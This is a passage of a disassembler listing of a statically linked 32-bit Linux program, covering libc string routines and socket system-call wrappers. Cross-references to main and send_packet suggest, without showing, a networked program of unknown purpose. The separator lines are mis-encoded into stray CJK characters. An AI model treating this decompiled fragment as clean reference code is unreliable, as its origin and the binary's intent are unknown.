sub_80565F8+1Dj mov cl, [edi+eax*4] movzx edx, cl movzx eax, byte ptr [ebx] sub edx, [edi+eax*4] mov eax, edx test eax, eax jz short loc_8056618 loc_8056633: ; CODE XREF: sub_80565F8+12j ; sub_80565F8+22j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80565F8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden strcpy proc near ; CODE XREF: reorder_addrs+E5p ; reorder_addrs+1A5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_4] mov ecx, ebx sub ecx, edx dec ecx nop loc_8056650: ; CODE XREF: strcpy+18j mov al, [edx] inc edx mov [ecx+edx], al test al, al jnz short loc_8056650 mov eax, ebx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn strcpy endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden strdup proc near ; CODE XREF: gethostbyname+1C1p ; gethostbyname+221p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] xor al, al mov edi, esi cld mov ecx, 0FFFFFFFFh repne scasb mov ebx, ecx not ebx push ebx call malloc mov edi, eax add esp, 4 test edi, edi jz short loc_8056698 push ebx push esi push edi call memcpy mov eax, edi jmp short loc_805669A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8056698: ; CODE XREF: strdup+26j xor eax, eax loc_805669A: ; CODE XREF: strdup+32j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn strdup endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80566A4 proc near ; CODE XREF: sub_804E638+1Fp ; sub_804E694+1Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push offset unk_807AC6C push eax call sub_8056E14 mov esp, ebp pop ebp retn sub_80566A4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden checkbuf proc near ; CODE XREF: init_services_resolv+131p ; init_services_resolv+1CEp ... var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push edi push esi push ebx mov ecx, [ebp+arg_8] mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] cmp esi, ebx jz loc_80567FE dec ecx cmp ecx, 0FFFFFFFFh jz loc_80567FE mov edi, dword_8078FA4 mov eax, ecx not eax and eax, 3 cmp ecx, 0FFFFFFFFh jle short loc_8056756 test eax, eax jz loc_8056784 cmp eax, 3 jge short loc_8056756 cmp eax, 2 jge short loc_805672D movzx eax, byte ptr [esi] mov al, [edi+eax*4] mov [ebp+var_4], al movzx edx, al movzx eax, byte ptr [ebx] sub edx, [edi+eax*4] mov eax, edx test eax, eax jnz loc_8056800 cmp [ebp+var_4], 0 jz loc_80567FE inc esi inc ebx dec ecx loc_805672D: ; CODE XREF: checkbuf+46j movzx eax, byte ptr [esi] mov al, [edi+eax*4] mov [ebp+var_8], al movzx edx, al movzx eax, byte ptr [ebx] sub edx, [edi+eax*4] mov eax, edx test eax, eax jnz loc_8056800 cmp [ebp+var_8], 0 jz loc_80567FE inc esi inc ebx dec ecx loc_8056756: ; CODE XREF: checkbuf+34j checkbuf+41j movzx eax, byte ptr [esi] mov al, [edi+eax*4] mov [ebp+var_C], al movzx edx, al movzx eax, byte ptr [ebx] sub edx, [edi+eax*4] mov eax, edx test eax, eax jnz loc_8056800 cmp [ebp+var_C], 0 jz loc_80567FE inc esi inc ebx dec ecx cmp ecx, 0FFFFFFFFh jz short loc_80567FE loc_8056784: ; CODE XREF: checkbuf+38j mov [ebp+var_10], ecx nop loc_8056788: ; CODE XREF: checkbuf+140j movzx eax, byte ptr [esi] mov cl, [edi+eax*4] movzx edx, cl movzx eax, byte ptr [ebx] sub edx, [edi+eax*4] mov eax, edx test eax, eax jnz short loc_8056800 test cl, cl jz short loc_80567FE inc esi inc ebx movzx eax, byte ptr [esi] mov cl, [edi+eax*4] movzx edx, cl movzx eax, byte ptr [ebx] sub edx, [edi+eax*4] mov eax, edx test eax, eax jnz short loc_8056800 test cl, cl jz short loc_80567FE inc esi inc ebx movzx eax, byte ptr [esi] mov cl, [edi+eax*4] movzx edx, cl movzx eax, byte ptr [ebx] sub edx, [edi+eax*4] mov eax, edx test eax, eax jnz short loc_8056800 test cl, cl jz short loc_80567FE inc esi inc ebx movzx eax, byte ptr [esi] mov cl, [edi+eax*4] movzx edx, cl movzx eax, byte ptr [ebx] sub edx, [edi+eax*4] mov eax, edx test eax, eax jnz short loc_8056800 test cl, cl jz short loc_80567FE inc esi inc ebx add [ebp+var_10], 0FFFFFFFCh cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_8056788 loc_80567FE: ; CODE XREF: checkbuf+14j checkbuf+1Ej ... xor eax, eax loc_8056800: ; CODE XREF: checkbuf+5Ej checkbuf+87j ... lea esp, [ebp+var_1C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn checkbuf endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden strncpy proc near ; CODE XREF: res_init+E2p ; res_init+24Cp ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_4] mov ebx, [ebp+arg_8] mov edi, [ebp+arg_0] lea edx, [edi-1] cmp ebx, 3 jbe short loc_805686C mov esi, ebx shr esi, 2 mov al, [ecx] inc ecx mov edx, edi mov [edi], al test al, al jz short loc_805685F nop loc_8056834: ; CODE XREF: strncpy+51j mov al, [ecx] inc ecx inc edx mov [edx], al test al, al jz short loc_805685F mov al, [ecx] inc ecx inc edx mov [edx], al test al, al jz short loc_805685F mov al, [ecx] inc ecx inc edx mov [edx], al test al, al jz short loc_805685F dec esi jz short loc_805686C mov al, [ecx] inc ecx inc edx mov [edx], al test al, al jnz short loc_8056834 loc_805685F: ; CODE XREF: strncpy+25j strncpy+30j ... mov eax, edx sub eax, edi sub ebx, eax dec ebx jnz short loc_8056881 jmp short loc_80568C3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805686C: ; CODE XREF: strncpy+15j strncpy+47j and ebx, 3 jz short loc_80568C3 db 8Dh,76h,0 ; lea esi, [esi+0] loc_8056874: ; CODE XREF: strncpy+73j mov al, [ecx] inc ecx inc edx mov [edx], al dec ebx jz short loc_80568C3 test al, al jnz short loc_8056874 loc_8056881: ; CODE XREF: strncpy+5Aj mov eax, ebx neg eax and eax, 3 test ebx, ebx jle short loc_80568A4 test eax, eax jz short loc_80568AC cmp eax, 3 jge short loc_80568A4 cmp eax, 2 jge short loc_805689F inc edx mov byte ptr [edx], 0 dec ebx loc_805689F: ; CODE XREF: strncpy+8Cj inc edx mov byte ptr [edx], 0 dec ebx loc_80568A4: ; CODE XREF: strncpy+7Ej strncpy+87j inc edx mov byte ptr [edx], 0 dec ebx jz short loc_80568C3 nop loc_80568AC: ; CODE XREF: strncpy+82j strncpy+B5j mov byte ptr [edx+1], 0 mov byte ptr [edx+2], 0 mov byte ptr [edx+3], 0 add edx, 4 mov byte ptr [edx], 0 add ebx, 0FFFFFFFCh jnz short loc_80568AC loc_80568C3: ; CODE XREF: strncpy+5Cj strncpy+63j ... mov eax, edi lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn strncpy endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden strtok proc near ; CODE XREF: init_services_resolv+A7Dp ; init_services_resolv+B4Dp ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_0] mov edi, [ebp+arg_4] test ebx, ebx jnz short loc_80568FE cmp dword_8078AFC, 0 jnz short loc_80568F8 mov __errno, 16h xor eax, eax jmp short loc_8056948 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80568F8: ; CODE XREF: strtok+17j mov ebx, dword_8078AFC loc_80568FE: ; CODE XREF: strtok+Ej push edi push ebx call sub_8057DB0 add ebx, eax add esp, 8 cmp byte ptr [ebx], 0 jnz short loc_8056920 mov dword_8078AFC, 0 xor eax, eax jmp short loc_8056948 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8056920: ; CODE XREF: strtok+3Dj mov esi, ebx push edi push esi call strpbrk mov ebx, eax test ebx, ebx jnz short loc_805693C mov dword_8078AFC, 0 jmp short loc_8056946 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805693C: ; CODE XREF: strtok+5Dj mov byte ptr [ebx], 0 inc ebx mov dword_8078AFC, ebx loc_8056946: ; CODE XREF: strtok+69j mov eax, esi loc_8056948: ; CODE XREF: strtok+25j strtok+4Bj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn strtok endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden gethostname proc near ; CODE XREF: _gethtbyname+78p ; res_init+6A3p var_190 = byte ptr -190h var_188 = byte ptr -188h var_147 = byte ptr -147h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 188h push edi push ebx mov ebx, [ebp+arg_0] test ebx, ebx jz short loc_80569A0 lea eax, [ebp+var_188] push eax call uname add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_80569AA lea edx, [ebp+var_147] xor al, al mov edi, edx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax cmp [ebp+arg_4], eax jb short loc_80569A0 push edx push ebx call strcpy xor eax, eax jmp short loc_80569AF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80569A0: ; CODE XREF: gethostname+10j ; gethostname+3Fj mov __errno, 16h loc_80569AA: ; CODE XREF: gethostname+24j mov eax, 0FFFFFFFFh loc_80569AF: ; CODE XREF: gethostname+4Aj lea esp, [ebp+var_190] pop ebx pop edi mov esp, ebp pop ebp retn gethostname endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden signal proc near ; CODE XREF: main+9Cp main+BDp ... var_20 = dword ptr -20h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov [ebp+var_10], eax mov [ebp+var_C], 0 mov [ebp+var_8], 0E0000000h lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax push edx call sigaction mov edx, 0FFFFFFFFh cmp eax, 0FFFFFFFFh jz short loc_80569F4 mov edx, [ebp+var_20] loc_80569F4: ; CODE XREF: signal+33j mov eax, edx mov esp, ebp pop ebp retn signal endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden wait4 proc near ; CODE XREF: system+147p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] mov eax, 72h xor esi, esi int 80h ; LINUX - sys_wait4 test eax, eax jge short loc_8056A23 neg eax mov __errno, eax mov eax, 0FFFFFFFFh loc_8056A23: ; CODE XREF: wait4+19j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn wait4 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden accept proc near ; CODE XREF: main+865p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov [ebp+var_8], edx mov [ebp+var_4], ecx mov edx, 5 lea ecx, [ebp+var_C] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056A69 neg edx mov __errno, edx mov edx, 0FFFFFFFFh loc_8056A69: ; CODE XREF: accept+2Ej mov eax, edx mov ebx, [ebp+var_10] mov esp, ebp pop ebp retn accept endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden bind proc near ; CODE XREF: main+839p sub_8066A50+ACp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov [ebp+var_8], edx mov [ebp+var_4], ecx mov edx, 2 lea ecx, [ebp+var_C] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056AB1 neg edx mov __errno, edx mov edx, 0FFFFFFFFh loc_8056AB1: ; CODE XREF: bind+2Ej mov eax, edx mov ebx, [ebp+var_10] mov esp, ebp pop ebp retn bind endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden connect proc near ; CODE XREF: sub_804EA0C+215p ; sub_804EA0C+52Cp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov [ebp+var_8], edx mov [ebp+var_4], ecx mov edx, 3 lea ecx, [ebp+var_C] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056AF9 neg edx mov __errno, edx mov edx, 0FFFFFFFFh loc_8056AF9: ; CODE XREF: connect+2Ej mov eax, edx mov ebx, [ebp+var_10] mov esp, ebp pop ebp retn connect endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden listen proc near ; CODE XREF: main+847p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov [ebp+var_4], edx mov edx, 4 lea ecx, [ebp+var_8] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056B3B neg edx mov __errno, edx mov edx, 0FFFFFFFFh loc_8056B3B: ; CODE XREF: listen+28j mov eax, edx mov ebx, [ebp+var_C] mov esp, ebp pop ebp retn listen endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden recv proc near ; CODE XREF: main+191p main+896p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [ebp+arg_C] mov [ebp+var_4], eax mov ebx, [ebp+arg_0] mov [ebp+var_10], ebx mov [ebp+var_C], edx mov [ebp+var_8], ecx mov edx, 0Ah lea ecx, [ebp+var_10] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056B87 neg edx mov __errno, edx mov edx, 0FFFFFFFFh loc_8056B87: ; CODE XREF: recv+34j mov eax, edx mov ebx, [ebp+var_14] mov esp, ebp pop ebp retn recv endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden recvfrom proc near ; CODE XREF: sub_804EA0C+76Bp ; sub_8064438+2FEp var_24 = byte ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h push edi push esi push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov esi, [ebp+arg_10] mov edi, [ebp+arg_14] mov eax, [ebp+arg_0] mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], ecx mov ebx, [ebp+arg_C] mov [ebp+var_C], ebx mov [ebp+var_8], esi mov [ebp+var_4], edi mov edx, 0Ch lea ecx, [ebp+var_18] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056BE1 neg edx mov __errno, edx mov edx, 0FFFFFFFFh loc_8056BE1: ; CODE XREF: recvfrom+42j mov eax, edx lea esp, [ebp+var_24] pop ebx pop esi pop edi mov esp, ebp pop ebp retn recvfrom endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden send proc near ; CODE XREF: main+8F7p ; sub_804EA0C+576p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [ebp+arg_C] mov [ebp+var_4], eax mov ebx, [ebp+arg_0] mov [ebp+var_10], ebx mov [ebp+var_C], edx mov [ebp+var_8], ecx mov edx, 9 lea ecx, [ebp+var_10] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056C33 neg edx mov __errno, edx mov edx, 0FFFFFFFFh loc_8056C33: ; CODE XREF: send+34j mov eax, edx mov ebx, [ebp+var_14] mov esp, ebp pop ebp retn send endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sendto proc near ; CODE XREF: send_packet+16Dp ; sub_8049174+35Ap ... var_24 = byte ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h push edi push esi push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov esi, [ebp+arg_10] mov edi, [ebp+arg_14] mov eax, [ebp+arg_0] mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], ecx mov ebx, [ebp+arg_C] mov [ebp+var_C], ebx mov [ebp+var_8], esi mov [ebp+var_4], edi mov edx, 0Bh lea ecx, [ebp+var_18] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056C8D neg edx mov __errno, edx mov edx, 0FFFFFFFFh loc_8056C8D: ; CODE XREF: sendto+42j mov eax, edx lea esp, [ebp+var_24] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sendto endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden setsockopt proc near ; CODE XREF: main+821p var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h push esi push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov esi, [ebp+arg_10] mov eax, [ebp+arg_0] mov [ebp+var_14], eax mov [ebp+var_10], edx mov [ebp+var_C], ecx mov ebx, [ebp+arg_C] mov [ebp+var_8], ebx mov [ebp+var_4], esi mov edx, 0Eh lea ecx, [ebp+var_14] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056CE6 neg edx mov __errno, edx mov edx, 0FFFFFFFFh loc_8056CE6: ; CODE XREF: setsockopt+3Bj mov eax, edx lea esp, [ebp+var_1C] pop ebx pop esi mov esp, ebp pop ebp retn setsockopt endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden socket proc near ; CODE XREF: main+12Ep main+7D2p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov [ebp+var_8], edx mov [ebp+var_4], ecx mov edx, 1 lea ecx, [ebp+var_C] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056D31 neg edx mov __errno, edx mov edx, 0FFFFFFFFh loc_8056D31: ; CODE XREF: socket+2Ej mov eax, edx mov ebx, [ebp+var_10] mov esp, ebp pop ebp retn socket endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8056D3C proc near ; CODE XREF: __libc_init+50p ; DATA XREF: __libc_subinit:080675CCo push ebp mov ebp, esp mov esp, ebp pop ebp retn sub_8056D3C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden __libc_init proc near ; CODE XREF: start+3Fp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] mov ebx, offset off_80675CC cmp ebx, offset _term_proc jnb loc_8056E0A mov eax, offset _term_proc sub eax, offset off_80675CC and eax, 0Fh cmp ebx, offset _term_proc jge short loc_8056DAE test eax, eax jz short loc_8056DC8 cmp eax, 4 jle short loc_8056DAE cmp eax, 8 jle short loc_8056D9E cmp eax, 0Dh jge short loc_8056DC8 push esi push edi mov edx, [ebp+arg_0] push edx mov eax, ds:off_80675CC call eax ; sub_8056D3C add esp, 0Ch mov ebx, offset _term_proc loc_8056D9E: ; CODE XREF: __libc_init+3Ej push esi push edi mov edx, [ebp+arg_0] push edx mov eax, [ebx] call eax add esp, 0Ch add ebx, 4 loc_8056DAE: ; CODE XREF: __libc_init+30j ; __libc_init+39j push esi push edi mov edx, [ebp+arg_0] push edx mov eax, [ebx] call eax add esp, 0Ch add ebx, 4 cmp ebx, offset _term_proc jnb short loc_8056E0A lea esi, [esi] loc_8056DC8: ; CODE XREF: __libc_init+34j ; __libc_init+43j ... push esi push edi mov edx, [ebp+arg_0] push edx mov eax, [ebx] call eax add esp, 0Ch push esi push edi mov edx, [ebp+arg_0] push edx mov eax, [ebx+4] call eax add esp, 0Ch push esi push edi mov edx, [ebp+arg_0] push edx mov eax, [ebx+8] call eax add esp, 0Ch push esi push edi mov edx, [ebp+arg_0] push edx mov eax, [ebx+0Ch] call eax add esp, 0Ch add ebx, 10h cmp ebx, offset _term_proc jb short loc_8056DC8 loc_8056E0A: ; CODE XREF: __libc_init+17j ; __libc_init+80j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn __libc_init endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; 